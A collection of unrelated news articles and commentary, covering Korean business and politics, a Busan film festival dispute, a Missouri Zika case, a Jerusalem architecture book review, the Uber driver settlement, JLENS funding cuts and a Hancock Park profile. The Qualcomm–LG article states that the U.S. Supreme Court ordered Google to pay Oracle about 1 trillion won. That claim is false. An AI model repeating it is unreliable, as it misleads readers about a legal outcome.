Cho also noted that Wu will meet with his U.S. counterpart, Sung Kim, later in the day.

The back-to-back talks between the chief nuclear envoys of South Korea, China and the United States are expected to boost trilateral cooperation over the North Korean nuclear issue, he said. (Yonhap)
Mass boycott of Busan fest raises concerns



A simmering conflict between Busan city administration and the film industry is raising concerns about the nation's largest film event with only six months remaining until its opening.



There are mounting concerns that the Busan International Film Festival (BIFF) may have to struggle to fill its program this year. An association of nine of Korea's top film bodies said earlier this week that it would boycott the BIFF over infringement on the festival's independence. Filmmakers say that their participation in the festival is not possible unless its independence and freedom of expression are guaranteed.



This is the first time in 10 years that the nation's filmmakers are taking collective action for a cause since the opposition to the 2006 reduction of the screen quota system for domestic films. In addition to this, the international film community has also voiced concerns about municipal interference in the festival, with festivals in Berlin and Rotterdam issuing statements urging the independence of the Busan festival.



These concerns, coming from within and outside Korea, seem to be falling on deaf ears, as demonstrated by an idle response from the city administration. The city's vice mayor, Kim Gyu-ok, said at a press conference this week that the mass boycott will not deter the festival and that it will seek an "amicable agreement" with the film industry over the issues. He failed to mention specific measures to accommodate the requests of the film community.



The most divisive issue is how to choose the chairman of the BIFF organizing committee. So far, the Busan mayor has automatically held the event's top post. But this routine procedure has hampered the event, as seen in the controversial way Busan Mayor Suh Byung-soo has managed the BIFF.



A film festival of BIFF's size and stature should be led by a relevant expert, not a public official who lacks the knowledge and judgment to make key decisions about the festival.



Mayor Suh shares a large part of the blame for the BIFF row, which started over the 2014 screening of the "Truth Shall Not Sink with the Sewol" (also called "Diving Bell"). The organizing committee defied the mayor's request to remove it from the program and screened the film that dealt with the government's failed rescue efforts in the Sewol ferry sinking. It is a clear infringement on freedom of expression for the mayor to meddle in the festival's lineup.



To guarantee more independence, the film industry is asking the chairman to be appointed at an assembly attended by a large number of filmmakers. Measures to reflect the film community's say in selecting a chairman should be part of a new charter that is being discussed for a revision.



Another way to ensure independence is to consider foreign experts for the top BIFF post. They can bring to the festival changes and opportunities that local experts may not be able to bring.



With limited time for preparations, the city and the film industry must come together and hold constructive discussions with a common goal of ensuring the event's smooth proceeding and advancing its management practices. Suh must resign from the chairmanship at the earliest date possible, as he offered to resign from the post last month, and halt his attempt to maintain municipal interference in the festival.



This row over the BIFF shows the festival's level of management has not caught up with the event's growing status in global cinema. With continued municipal interference, Busan will lose its status as an Asian cinema hub.




Kim Jung-mi

By Lee Kyung-min

Barista Kim Jung-mi, Starbucks Coffee's Gimpo branch assistant manager, greatly appreciates the chance to rejoin the workforce after returning to the job she loves after six years.

She began working for the coffee chain in November 2000 and left in October 2007 after getting married.

She was rehired under the "returning-mom" program, which is part of a joint effort by Starbucks Coffee and the Ministry of Gender Equality and Family to boost female workforce participation amid the country's quickly aging population.

Under the program, female employees work between 11 a.m. and 3 p.m., with a paid 30-minute break.

They are regular workers who receive full company benefits, including incentives and bonuses, and the company helps them pay their children's tuition. Those who wish to increase their hours can work a maximum of eight a day.

Alongside Kim, 71 moms who quit work after marriage and childbirth have returned, Starbucks said. The company received a presidential commendation in recognition of its efforts last month.

Had it not been for the program, Kim would have lived an incomplete life, she said.

"I love coffee, which is why I became a barista in the first place," she said. "But I had to leave after having three children  two boys and a girl. Child-rearing is simply impossible without mom staying at home full time.

"I love my children, but I did not want to waste my expertise as a barista, which has been my lifelong passion. The four-and-a-half-hour shift is perfect for me to maintain balance between home life and workplace."

She hopes that more companies will offer similar programs for mothers.

"There are many women who worked before marriage quit working," Kim said. "Of course some of them chose to do so and become fully devoted moms. But I think many others are unable to work because companies simply do not hire women who have been out of work for years."

Having a job gives her more confidence, which helps her set a good example for her children, she said.

"I feel happy and grateful that I am being paid while doing the work I love," Kim said. "And it helps me with my self-confidence, because I feel I am financially capable.

"Children, especially when they are young, are easily influenced by the mood their mom is in. I think my positive and energetic attitude rubs off on my children."
By Lee Min-hyung



The nation's regulators will step up monitoring of Google following the recent Android monopoly controversy in Europe.



"We are going to increase our monitoring of Google, after taking into account the European Commission's (EC) recent decision that the U.S.-based IT giant has breached antitrust rules of the European Union (EU)," a Fair Trade Commission (FTC) official said Friday.



This came two days after the EC issued a statement of objection to Google, saying the company abused its dominant position by imposing restrictions on Android device makers.



The EC said Google has required Android smartphone manufacturers to install its applications, including the Google Chrome browser and Google Search, as a default search service, which is against EU antitrust regulations.



This has aroused strong reaction from the nation's Internet industry. In 2013, the FTC cleared Google of the same charge filed by local Internet portal service operators Naver and Daum. The watchdog cited Google's weak market share of some 10 percent as the reason for its decision.



The FTC is yet to decide whether it will investigate Google Korea, but the watchdog hinted at intensifying its monitoring.



"The FTC is now gathering information on similar cases overseas and will continue to monitor how our counterparts in other countries make their decisions over the issue," the FTC official said.



"Regarding the pre-installed apps, we are in talks with the Ministry of Science, ICT and Future Planning (MSIP) to take other regulatory measures."



The MSIP said it is also considering changing policies to reduce the number of such unnecessary apps for new Android handsets.



In January 2014, the ministry issued a guideline to rule out some pre-installed apps as a default search service, with the number having been reduced significantly over the past two years, according to the MSIP.



The Galaxy S7, released this year, comes with 11 apps, including Google Chrome, according to an MSIP official. The guideline worked well, given that there were some 80 pre-installed apps before it was adopted.



"We are planning to revise policies once the FTC unveils specific guidelines over the issue, and will continue to adopt measures to build a healthy Internet and mobile ecosystem," the official said.



Kent Walker, Google's senior vice president and general counsel, said: "We look forward to working with the European Commission to demonstrate the careful way we've designed the Android model in a way that's good for competition and for customers."



He said many other companies installed their apps on smart devices.



"Any manufacturer can choose to load the suite of Google apps to their devices and freely add other apps as well," he said. "For example, phones today come loaded with scores of pre-installed apps from Microsoft, Facebook, Amazon, Google, mobile carriers and more."




By Kim Yoo-chul



Hansol Group, a local conglomerate whose businesses range from chemicals and electronics to paper products, is facing a dilemma over its business expansion into SK Group.



Hansol used to be a part of Samsung Group and is still owned by a relative of the family in control of Samsung Group and Shinsegae. Hansol's senior advisor is the sister of Samsung Chairman Lee Kun-hee.



Thanks to such family ties, Samsung Group's powerful electronics affiliate has contracted with Hansol tech units, letting them outsource production of some Samsung products to Vietnam.



The Hansol-Samsung partnership is getting stronger after Samsung Electronics won a contract worth "billions of dollars" with Apple to supply NAND flash memory chips to be used in the next iPhones.



The iPhone designer demanded Samsung Electronics use "special electromagnetic shielding" on the NAND chips for the iPhones. Samsung previously failed to meet this tough demand.



But thanks to support from Hansol Chemical, an affiliate of Hansol Group, Samsung upgraded its chips using an advanced coating compound.



Officials said Apple asked Samsung to implement anti-EMI coating in NAND chips, which protects components from magnetic interference without causing any electrical misfires, with a near-microscopically thin layer of metal on the chips' surface.



Samsung has the technology. But the problem was that the Samsung-owned anti-EMI coating process costs a lot.



"Hansol Chemical developed a new way, helping Samsung develop coated NAND chips with a cut in costs. Apple was impressed," said an official.



But the dilemma is that Samsung's rival, SK hynix, wants to partner with Hansol to secure SK's stakes in the NAND chip business with Apple.



The Samsung-Apple partnership in NAND chips resumed for the first time since 2012, as market leader Samsung has been refusing to supply its NAND chips to Apple, resulting in the iPhone designer sourcing NAND chips from SK hynix, Toshiba of Japan and SanDisk of the United States.



"SK hynix plans to approach Hansol Chemical on whether to share the latest coating technology developed by the Hansol unit," said another official. "Hansol Group wants to diversify its sales channels, but this won't be easy given its unique and specific partnership with Samsung."



Hansol Group was not available for comment.



As all Samsung's key businesses are being challenged, the world's top memory chip producer is intent on stretching its share to closer to 50 percent through its strong 3D NAND leadership.



Along with DRAM chips, NAND chips are the other type of memory chip. Unlike DRAMs, NANDs could help digital devices store data even when switched off.



"In NAND, we see Samsung continuing to stretch their lead in 3D NAND, which will put continued pressure on the rest of the field, particularly NAND laggard SK hynix," analyst Mark C. Newman at Bernstein Research said in a recent report.



"Although Samsung does indeed care about profits, their actions have been opportunistic and more aggressive than we predicted, at the huge expense of the laggards."




By Kim Yoo-chul





Steve Mollenkopf, Qualcomm CEO Cho Juno, LG Electronics' mobile chief

U.S.-based mobile chip titan Qualcomm has resolved its long-running patent dispute with LG Electronics after LG vowed to pay more for Qualcomm processor chips, with increased guaranteed shipments.



Qualcomm said the agreement with LG is "satisfactory" and that the San Diego-based outfit will further boost its patent-related businesses as part of its diversified strategy.



"The dispute with Qualcomm has been completely settled," LG said Friday, refusing to unveil details, such as readjusted royalty rates.



Qualcomm has been buried in lawsuits. It is facing a probe from European regulators for having charged below-cost fees for its mobile broadband chipsets between 2009 and 2011 to remove competition.



LG claimed that Qualcomm had overcharged under a licensing contract and the dispute went to arbitration.



"This kind of dispute is actually nothing, as this is a kind of contract dispute which is very similar to the ones that the industries had in the past," said an LG official.



"Qualcomm is said to lower its royalty rate to LG in return for LG's guaranteed purchase of Qualcomm processors, which are currently being used in its flagship handsets and will be used in upcoming flagship models."



The timing of LG's flagship models is in line with mobile chip development and the supply chain management plan by Qualcomm. Unlike Samsung, LG Electronics does not fabricate its own processor chips, relying on Qualcomm-designed chipsets.



The settlement came after Qualcomm forecast third-quarter profit below expectations, because the company expects to ship fewer chips, including those for smartphones, its top business.



Qualcomm's leadership in the mobile chipset business is still influential, but not as strong as decades ago because rivals are squeezing the company on price.



"Samsung and Apple are making their own components for smartphones," said another LG official. "It's a pity, though, to see that LG has less leverage in discussions over an issue of royalty rate readjustment."



While the "Qualcomm issue" was settled, LG Electronics is still being pushed to pay more to Google after Oracle won against Google in a fight over intellectual property.



The U.S. Supreme Court ordered Google to pay some 1 trillion won to Oracle after the Android software creator was found to have infringed Oracle-owned Java-dubbed programming software, a major blow to LG Electronics, because all LG phones are powered by Android software.



"Because Android software is free to use, manufacturers don't have to pay Google royalties," a source said. "But Google will pay Oracle and this will affect LG Electronics."



To cut LG's heavy reliance on Qualcomm for mobile chipsets, LG Electronics has invested millions of dollars to develop its own. But their use is limited to cheaper models.
A pregnant woman from Missouri who visited Nicaragua has contracted the Zika virus. Nicaragua is a known area of Zika transmission.. This is the fourth confirmed case of Zika virus infection reported in a Missouri resident.

Nearly 80 percent of people infected with the virus will have no symptoms. Typically, symptoms are mild and include fever, rash, joint soreness and/or redness of eyes.

International health officials are examining the connection between pregnant women contracting the virus and a birth defect called microcephaly in their newborn infants. According to the CDC, babies with microcephaly often have smaller head sizes and brains that might not have developed properly.

According to the CDC, Zika virus has the potential to be spread through a mosquito bite, through unprotected sexual contact, through blood transfusion and an infected pregnant woman can pass Zika virus to her fetus during pregnancy.

There is not currently a vaccine for Zika virus. The best prevention measure is to avoid mosquito bites in areas with ongoing transmission. There have been no reported cases of Zika virus contracted from a mosquito bite in Missouri.

Ways to avoid mosquito bites while outdoors include wearing EPA-registered insect repellent with DEET, wearing pants and long sleeves, or remaining indoors in an air conditioned environment.

The CDC recommends pregnant women avoid traveling to Zika-affected areas, which include countries ranging from Mexico into the Caribbean, Central American and South America.

Since the beginning of the year, DHSS has regularly updated health care providers and the public about Zika virus in addition to coordinating the approval of Missourians for testing.

Please consult

for a listing of all areas and other information about Zika virus.
The SLFP does not condone the continuation of the Emergency Regulations (The Public Security Ordinance) more than a day necessary

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In a long piece for Newsweek, California correspondent Alexander Nazaryan pokes around the remaining questions about the death of Mitrice Richardson in the Santa Monica Mountains after she was released into the night from the sheriff's Lost Hills station. The story is pegged to a documentary on the Richardson case and the mysteries around official reaction to her disappearance, and focuses a lot on the station culture at Lost Hills and the context of larger questions about the Los Angeles County Sheriff's Department.

There's also the state's decision last February to look into the Richardson for the first time. She died in 2009.

Here's a sample of Lie and Deny: Secrecy and Suspicion Surround the LA County Sheriff's Department:
All cities are cruel, but Jerusalem has a special way with heartbreak. In the evenings, the light is as soft as the local politics are rigid. Driving past the walls of the Old City at dusk, Jerusalems beauty can cause actual pain. For a moment you can almost forget the blood that spills, sometimes daily, outside Damascus Gate. But Jerusalem, Adina Hoffman writes, has an almost chronic way  of frustrating hopeful expectation. Like any place so old, it is built on its own ruins and on top of its dead, a city defined as much by what it has discarded and erased as by the conscious intentions of the people who currently reside there.

This book, Hoffman announces early in Till We Have Built Jerusalem, is an excavation, an attempt to sift the wreckage of Jerusalems buried past. Buried pasts, I should say  Hoffman makes it abundantly clear in this brave and often beautiful book that they are many  and interlinked. She digs through three of them, all by architects whose work shaped the city during its brief period of British colonial rule from 1922 until the establishment of the Israeli state and Jerusalems formal rupture into Arab east and Jewish west 26 years later.

Her subjects may be three now largely obscure builders  a German Jew, an Englishman and an Arab  but Till We Have Built Jerusalem is very much a book about the present. Hoffman, who has published one previous volume about the city and a highly acclaimed biography of the Palestinian poet Taha Muhammad Ali, writes with a quiet, stubborn courage, scouring the archives not only to understand Israel and Palestine as they exist today but to resurrect another vision, long since clouded over, in which identities were not so violently policed.

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In the lost Jerusalem that Hoffman so skillfully and sorrowfully rebuilds, the permeability of boundaries  be they ethnic or aesthetic  was not a threat but a proud and defining characteristic of urban life.

A German Jewish builder

Erich Mendelsohn, Hoffmans first subject of inquiry, was a rising star of Weimar Germanys modernist avant garde who fled Berlin in 1934. He brought his wife, a few suitcases and enormous ambition, establishing his home and office in a stone building shaped like a windmill not far from where the Israeli prime ministers residence now stands.

At the time, the local coins still read Palestine: it was then a colonial mandate whose administration had fallen to England when the European powers carved up the Ottoman empire after the First World War. Over the previous century Jerusalem had grown from a crumbling village of 8,000 to a sizable if still-sleepy town. Between 1917, the year Lord Arthur Balfour promised that the British crown would work for the establishment in Palestine of a National Home for the Jewish people, and 1934, when Mendelsohn arrived, the citys population had more than doubled.

Much that now feels immutable was still up for grabs. The cosmopolitanism that had characterized late-Ottoman culture had not yet died. Older Jewish communities in Palestine spoke Arabic as well as Hebrew, and, in the early years of the mandate, Jews, Christians and Muslims intermingled freely. The notion endorsed by Balfour, of a Jewish state in Palestine, was far from unanimously supported even by Jews. The novelist and journalist Joseph Roth, whose peripatetic, open spirit Hoffman hails in her introduction, wrote in 1920 that Zionism can only be a bitter experiment, a temporary, opportune degradation of Judaism, words that today would make an outcast of him.

Yet Mendelsohn had arrived full of zeal, dreaming that he would be anointed master builder for all of Palestine. If he was arrogant, he did not lack in vision or in scorn for his colleagues in Tel Aviv whose Bauhaus-influenced structures seemed intended for a sunnier Vienna. Palestine, Mendelsohn wrote, is in the Orient, of the Orient, and demanded an architecture appropriate to its culture and climate.

Mendelsohns Zionism was enthusiastic, almost ecstatic: The return of Jews to Palestine was an opportunity for a spiritual renaissance that might flow from Jerusalem to the rest of the world. But for all his rhapsodies about the true soil desired by my blood and my nature, Mendelsohn was also cognizant that Palestine was not a blank slate for diasporic rebirth, that real people lived there, people who had a valuable architectural tradition of their own. He admired the layout of even the poorest Palestinian homes and villages, the respect they showed to climate and terrain.

This was not a popular perspective, and it grew less so as attitudes hardened. Mendelsohn built a home for the Zionist leader Chaim Weizmann, an elegant villa and library for the publishing magnate Salman Schocken, the headquarters of the Anglo-Palestine Bank, and the hospital that still stands on Mt. Scopus. But his grand design for the campus of Hebrew University, which he hoped would become the beacon of a vital, secular Hebrew culture, was rejected. By the late 1930s his style  spare, streamlined structures, open to the landscape that surrounded them  had aroused violent and widespread opposition, in the words of Judah Magnes, the universitys first chancellor.

Sometimes that violence was literal. Hoffman writes of gangs allegiant to Zeev Jabotinsky  the ideological father of the Revisionist politics that live on in Benjamin Netanyahu  attacking Mendelsohns construction sites because the laborers he hired hailed from the socialist left.

By the time the architect left Jerusalem in 1941  for New York and later San Francisco  a Palestinian uprising against British rule had been brutally put down, Jewish militias were planting bombs in Arab markets and buses, and Mussolinis air force was strafing Tel Aviv. In that atmosphere, Mendelsohn had published a pamphlet suggesting that Zionism must not only accommodate but unite with the population already present in Palestine. He called on Jews to become a cell of a future Semitic commonwealth modeled on the medieval golden age of Arab rule, when Jews and Arabs together acted as torchbearers of world enlightenment. The pamphlet was, Hoffman writes, a cri de broken coeur, one that Mendelsohn must have known came far too late to win him anything but ridicule.

Mendelsohn left Jerusalem embittered and defeated. The arc Hoffman describes here diverges sharply from the usual heroic narratives of Israels founding. These are stories of possibilities closing off, prejudices ossifying, diverse and vibrant communities destroyed.

The British aesthete

Austen St. Barbe Harrison, Hoffmans second subject, decamped from Jerusalem in an even greater hurry in 1937, 15 years and one day after his arrival, precisely the time required to claim his government pension. The official chief architect of Palestine under the British Mandate, Harrison was not as ill-regarded as Mendelsohn at the time of his departure, but he nonetheless left in secret, abandoning most of his possessions. He could not, apparently, get out soon enough.

A curious, solitary soul, essentially, evenly implacably British but more at home in his modest house in Abu Tor than he ever had been in England, Harrison designed most of the public buildings that the British left behind in Palestine. Hoffman writes admiringly of the logic, restraint, and complex placidity of his creations, which showed the outlines of a modest Palestinian peasant house fused with contours far grander and stranger. She displays a deep respect for his obsessive attention to the details of his craft, which is not surprising, given the careful agility and precision of her own prose.

Beyond that, it is the frustration and heartbreak that seem to reach out to her across the decades. Harrison was much more an aesthete than a politician and did his quiet best to navigate the increasingly treacherous waters in which he was required to work. Hoffman sees in the bright calm of the atrium of the archaeology museum that Harrison designed in the mid-1930s a bottled-up, unspoken desire for the strife to just stop, or at least to subside temporarily.

It did not, of course. The museums opening ceremony in 1938 was canceled after a noted English archaeologist was killed by Palestinians in what is now the southern West Bank. By then Harrison was already gone. He missed the opening too for the grand central post office on Jaffa Street, his last major project in the region. One year later, it would be bombed by the Irgun, a right-wing Jewish militia that would eventually be folded in to the Israeli army.

The lost Sypro Houris

It is in her third and final section that Hoffmans quest begins to feel truly urgent. This is in part because of timing. Her research on the elusive architect Spyro Houris took place in summer 2014, when in the weeks that followed the kidnapping and murder of three Israeli teens, mobs of young Israelis marched through the streets of Jerusalem chanting death to Arabs, a Palestinian teenager was burned alive, and clashes raged night after night across nearly all of East Jerusalem. By the end of that August, 72 Israelis and more than 2,200 Palestinians had been killed.

With Mendelsohn and Harrison, Hoffman found abundant archives to draw on: official records, letters, memoirs. But Houris, who left behind at least a dozen buildings decorated with colorful Armenian tile in neighborhoods across the city, was an Arab, and hence a ghost. The history of nearly all private structures erected by anyone who wasnt Jewish, Hoffman found, had vanished into an archival black hole.

The search is like a detective story, filled with dead-end plotlines and gripping diversions that get her no closer to her quarry. Eventually, she discovers a few bare biographical details.

She digs as far as she can into the histories of Houris buildings in the Greek Colony, on Jaffa Street and in Mamilla, which was then a mixed neighborhood and is now the site of a shopping mall just outside of which the Simon Wiesenthal Center is building a Museum of Tolerance atop the oldest Muslim graveyard in the city.

Frustrated in her obsession, Hoffman writes about some of his contemporaries: the Palestinian intellectual Khalil al-Sakakini, who lived in the stone windmill where the Mendelsohns would later take up residence; about the master ceramist David Ohannessian, who fled the Armenian genocide and was brought to Jerusalem to retile the dome of the al-Aqsa mosque; about C.R. Ashbee, a central figure of the British Arts and Crafts movement who left Jerusalem, disillusioned and embittered, in 1922.

And then there are the patrons for whom Houris built: a Greek Christian, a Turkish Jew and one of the most prominent Muslim families in Jerusalem. Through them, she ends up describing two cities, the contemporary Jerusalem in which she lives, walled off and pushed by a willful forgetting into an unending violent spiral, and the lost metropolis that Houris inhabited, defined by a radical eclecticism and a now almost inconceivable openness to its past and the expansive possibilities of its various selves.

All I can do is dig, and keep digging, Hoffman writes, almost desperately. She was consciously searching, via Houris, for clues to what Jerusalem had lost, some sense of itself as a place more multitudinous, more heterogeneous, more generous than the one in which she found herself. We are fortunate that she did, that she found the strength to remind us that other possibilities have existed, and may yet exist, beside the current grim reality.

Ehrenreich is the author of the novels Ether and The Suitors. The Way to the Spring, based on his reporting from the West Bank, will be published by Penguin Press in June.

::

Till We Have Built Jerusalem

Architects of a New City

Adina Hoffman

Farrar, Straus and Giroux: 368 pp., $28
If there's one thing the ride-hailing company Uber has become great at, it's identifying legal threats to its business model. That's the reality behind its $84-million settlement Thursday of two federal class-action cases brought by drivers. The cases could have forced Uber to classify its drivers as employees, not independent contractors, a change that could impose billions of dollars in costs on the company, eroding its potential profitability and its supposed value.

The deal covers about 385,000 drivers, who pay their own expenses while serving passengers sent their way via Uber's mobile phone app. Uber sets the fares, regiments much of the drivers' work activities and behavior, and takes more than 20% off the top. The lawsuits asserted that these conditions make the drivers tantamount to employees, despite Uber's contention that they're free to drive when and where they choose.

If we had not settled, there were some serious risks that all we have fought for - and have achieved - could be taken away.  Shannon Liss-Riordan, attorney for Uber drivers

The settlement, which could rise to $100 million if Uber goes public at a valuation well beyond its current private market value of more than $60 billion, doesn't resolve whether the drivers are employees. Other lawsuits over that issue are pending, as well as union initiatives and an investigation by the National Labor Relations Board. The settlement does, however, underscore that litigation can be a thin reed for workers trying to redress inequities in the workplace. It's expensive and time-consuming, and the outcome anything but certain.

"If we chose not to settle this case, we faced risks, said Shannon Liss-Riordan, the attorney for the drivers, in a prepared statement. Among these was the risk that a jury in San Francisco (where Uber is everywhere and quite popular) may not side with the drivers over Uber." Liss-Riordan also seemed to be rattled by a recent ruling by a federal appeals court in San Francisco that placed the class designation in one of the two cases under new scrutiny, with the possibility it could be overturned. (The second case was filed in federal court in Boston.)

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"If we had not settled," she said, "there were some serious risks that all we have fought for - and have achieved - could be taken away." She added, "Importantly, the case is being settled - not decided. No court has decided here whether Uber drivers are employees or independent contractors and that debate will not end here." We've reached out to Liss-Riordan with questions about the deal, and will update if we hear back.

The key question left unanswered by the settlement announcement is whether the drivers are receiving enough in return for what they're giving up. As is often the case with class settlements, the big headline number obscures how little trickles down to the plaintiffs. In this deal, drivers with the most time and mileage recorded with Uber are in line to receive one-time payments up to about $8,000. The typical driver, however, will receive far less from a settlement pool that averages out to $218 per driver.

Nothing fundamental in the balance of income and expenses will change as a result of the deal--drivers will still be on the hook for gas, insurance and wear-and-tear on their vehicles, and Uber will retain the right to set fares and extract fees and commissions of more than 20%.

Yet settlement of the cases is surely a good deal for Uber by removing what it plainly regarded as a massive threat. Had the litigation continued, it might have put the company's entire business model on trial, exposing the degree to which the economic benefits of the so-called "gig economy" flow heavily, even exclusively, toward investors and executives at the expense of those providing the core service. The lawsuits were closely watched by other companies profiting from "independent contractor" labor, including fast-food restaurants, which are also fighting off NLRB initiatives to force them to give workers the full panoply of rights as employees, including better pay, benefits and working conditions. Settlement of the case could vastly reduce the leverage of worker advocates and government agencies alike to reduce the exploitation of "non-employee" workers.

Uber is portraying the deal as an unalloyed victory -- for drivers. According to a statement issued over the name of Uber CEO and co-founder Travis Kalanick, "drivers value their independence  the freedom to push a button rather than punch a clock, to use Uber and Lyft simultaneously, to drive most of the week or for just a few hours."

Since Uber and Lyft entered the Los Angeles market, total taxi trips have fallen by nearly 30%. (Los Angeles Times)

Yet that glosses over indications that working conditions under Uber and similar firms such as Lyft aren't as liberating as the firms say. While the ride-hailing services have reduced transportations costs for passengers, they've devastated incomes for taxi drivers, many of whom have signed on with Uber and Lyft because they have no alternative. Since the arrival of Uber and Lyft, taxi trips in Los Angeles have fallen by nearly 30%, as my colleague Laura Nelson reported last week. In San Francisco, the headquarters of both firms, the decline has been more than two-thirds.

This has taken a toll on drivers' incomes, reducing take-home pay to as little as $400 a week, down from $800 a few years ago, Paul Ezadjian, a manager for LA Checker Cab, told Nelson. For a consumer, Uber is very good, he said. But for the driver, it's very bad.

Thursday's announced settlement, which must still be approved by a federal judge, moderates some of the regimentation Uber imposed on its drivers via its mobile app. It eliminates Uber's ability to "deactivate" drivers -- the equivalent of firing them from the service -- at will, requiring instead a showing of "sufficient cause" and a delay to give drivers a chance to rectify shortcomings. Among other restrictions, Uber will no longer be permitted to deactivate drivers for failing to accept enough rides. The firm will establish an arbitration procedure for drivers threatened with termination.

Uber also will allow drivers to solicit tips from passengers, who often are unaware that tips aren't included in their fares. Drivers will be permitted to place signs in their cars stating, "tips are not included, they are not required, but they would be appreciated."

Finally, the settlement requires Uber to "facilitate and recognize" drivers associations. According to Liss-Riordan, these will be able to "bring drivers' concerns to Uber management, who will engage in good faith discussions (on a quarterly basis) regarding how to address these concerns." Whether this is a greater benefit to drivers than to Uber is unclear, given that established unions already have been mobilizing to organize Uber drivers -- a development that the NLRB is trying to assist by investigating whether the drivers should be classified as employees.

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The settlement still leaves Uber with great latitude to regiment its labor force in ways documented several months ago by Luke Stark of New York University and Alex Rosenblat of Data & Society, an independent research institute. "Through Ubers app design and deployment," Rosenblat explained in the Harvard Business Review, "the company produces what many reasonable observers would define as a managed labor force."

Among other advantages enjoyed by the company, it sets the rates: "Uber has full power to unilaterally set and change the fares passengers pay, the rates that drivers are paid, and the commission Uber takes." Uber has the power to manipulate work schedules via "surge pricing," which raises fares at certain times and places to encourage an inflow of available drivers.

"Some drivers referred to surge as a 'herding tool' that ushered them into specific geo-fences," Rosenblat reported. "Our research, however, found that the promise of higher wages from surge pricing is often unreliable."

In short, the Uber settlement gives drivers a few dollars as a one-time payout but still leaves them working as Uber employees in all but name. Since these lawsuits had the potential to force real improvements in the drivers' conditions and rebalance the flow of profits from their efforts, it's hard to see this as their victory.

Keep up to date with Michael Hiltzik. Follow @hiltzikm on Twitter, see his Facebook page, or email michael.hiltzik@latimes.com.

Return to Michael Hiltzik's blog.

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The Republican chairman of the House Armed Services Committee wants to slash nearly all spending for the Pentagons troubled $2.7-billion program to use radar-carrying blimps to search for enemy missiles approaching the East Coast.

Budget-related documents made public Friday show that Rep. Mac Thornberry (R-Texas) wants to authorize only $2.5 million next year, or 6% of the $45.5 million sought by President Obama to sustain the program, called JLENS.

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If the deep cuts are kept, the program would not have the money Pentagon officials say is necessary for the blimps to resume their mission over Washington and surrounding areas from a base at Aberdeen Proving Ground, Md.

In March, Senate Republican and Democratic leaders refused a request by Defense Secretary Ashton Carter to shift $27.2 million to JLENS from another defense program.

Senate leaders also signaled they were unlikely to approve the presidents request for $45.5 million for JLENS in the next fiscal year.

Congressional support for the Joint Land Attack Cruise Missile Defense Elevated Netted Sensor System has collapsed since a high-profile mishap Oct. 28.

One of the pilotless, 242-foot-long blimps broke loose from a ground mooring and soared north for several hours into Pennsylvania before it came down. The runaway blimp disrupted air traffic, clipped utility lines with its mile-long tether and forced authorities to scramble fighter jets to track it.

The spectacle was covered live on national television and became fodder for ridicule on Twitter from figures as disparate as Sen. John McCain (R-Ariz), who heads the Senate Armed Services Committee, and fugitive Edward Snowden.

The Armys operational exercise with JLENS at Aberdeen was suspended indefinitely after the incident.

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Thornberrys request for $2.5 million marks a turnabout for the chairman, who supported JLENS as recently as last November.

Rep. Jackie Speier (D-Hillsborough), a member of the armed services committee, praised Thornberrys shift while reiterating her opposition to the program.

Lets hope it stays dead, Speier said in a statement. She urged Congress to put this money to use protecting our nation, rather than sending it to float away on a path of destruction from Maryland to Pennsylvania.

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More than 100 years ago, where sprawling mansions and towering shade trees now stand between Wilshire Boulevard and Melrose Avenue, there was a massive field of oil derricks owned by the Hancock family, which also mined the famous tar pits to the west for asphalt to pave the streets of San Francisco.

Once the oil ran out, the scion of the family, G. Allan Hancock, made another killing on his familys land by subdividing it and selling lots in what became a neighborhood of stately homes.

Architects including Wallace Neff and Lloyd Wright built in a variety of styles while preserving the essential character of the neighborhood  an upscale charm that survives to this day. Every popular style of the 1920s can be found in Hancock Park, which makes it one of those magical L.A. places where movies that are set around the world can be filmed, all without leaving the 30-mile zone.

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FOR THE RECORD

2:39 p.m. April 27: An earlier version of this story incorrectly used a photo of a home that is not located in Hancock Park.

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Not surprisingly, movie stars including Mae West, Ava Gardner and Clark Gable made the neighborhood a hot spot in Hollywoods Golden Age. More recently, well-to-do professionals have been drawn to the beautiful homes and large lots, and some of the stars who had moved west to Beverly Hills have returned as well.

Hancock Park has also become more inclusive: Where Nat King Cole was once shunned by his neighbors and Jews were barred by law, the neighborhood now boasts a thriving community of Orthodox Jews and is more diverse than many other posh L.A. neighborhoods.

Neighborhood highlights

A true central location: Wherever you want to go in Central Los Angeles, Hancock Park is convenient to it. Next door are Larchmont Village; Hollywood; La Brea, Melrose and Fairfax avenues; and the Miracle Mile. And Beverly Hills and DTLA are right down Wilshire Boulevard. The Purple Line extension will also create a transit connection to the Westside when it opens in 2023.

Beautiful homes, scenic streets: Mature shade trees, green rolling lawns and the stately fairways of the Wilshire Country Club give the neighborhood and its 1,200 homes a bucolic feel thats been preserved even as rapid development has continued on its northern and southern boundaries.

Neighborhood challenges

Shortcuts: One downside to living in a central location is that youre right in the middle of the commute of tens of thousands of people, which means that cut-through traffic in Hancock Park can be intense. Thats especially true for east-west streets such as Beverly Boulevard and 3rd and 6th streets.

Market insights

Hancock Park resident and Coldwell Banker broker Anne Loveland said she loves Hancock Park because it blends the quaintness of Mayberry in a world-class city.

The people are caring  if youre looking for a community to make personal connections in, this is a great neighborhood, she said.

Because of the wide range of architectural styles in Hancock Park, Loveland said, prospective buyers should do their research and figure out what kind of home best appeals to them.

No two houses are the same here in terms of condition, size, location or style, she said.

And when something really good comes up, you must act fast and decisively, especially for the nicest homes.

Market snapshot

Portions of the 90004, 90005 and 90020 overlap the Hancock Park neighborhood.

In February, based on 12 sales, the median price for single-family homes in the 90004 ZIP Code was $760,000, according to CoreLogic. In the 90005 ZIP Code, the median price based on three sales was $1.35 million.

In the 90020 ZIP Code, the median price based on two sales was $2.089 million.

Report card

Third Street Elementary, one of the citys most coveted public schools, scored a 946 out of a possible 1,000 in the 2013 Academic Performance Index. John Burroughs Middle came in at 859, and New Los Angeles Charter scored 760.

hotproperty@latimes.com
Uber will pay up to $100 million to drivers who had sought to be classified as employees, settling two lawsuits that posed a threat to the companys on-demand business model, which relies on independent contractors.

The San Francisco ride-hailing company Thursday evening announced it will pay an initial sum of $84 million to settle cases in California and Massachusetts to some 385,000 drivers. Uber, which is valued at $62.5 billion, said it will pay the drivers an additional $16 million if the companys valuation reaches 1.5 times its current value after it goes public or if it gets bought.

The company also agreed to policy changes that reduce its control over drivers, shifting to be more in line with an independent contractor relationship.

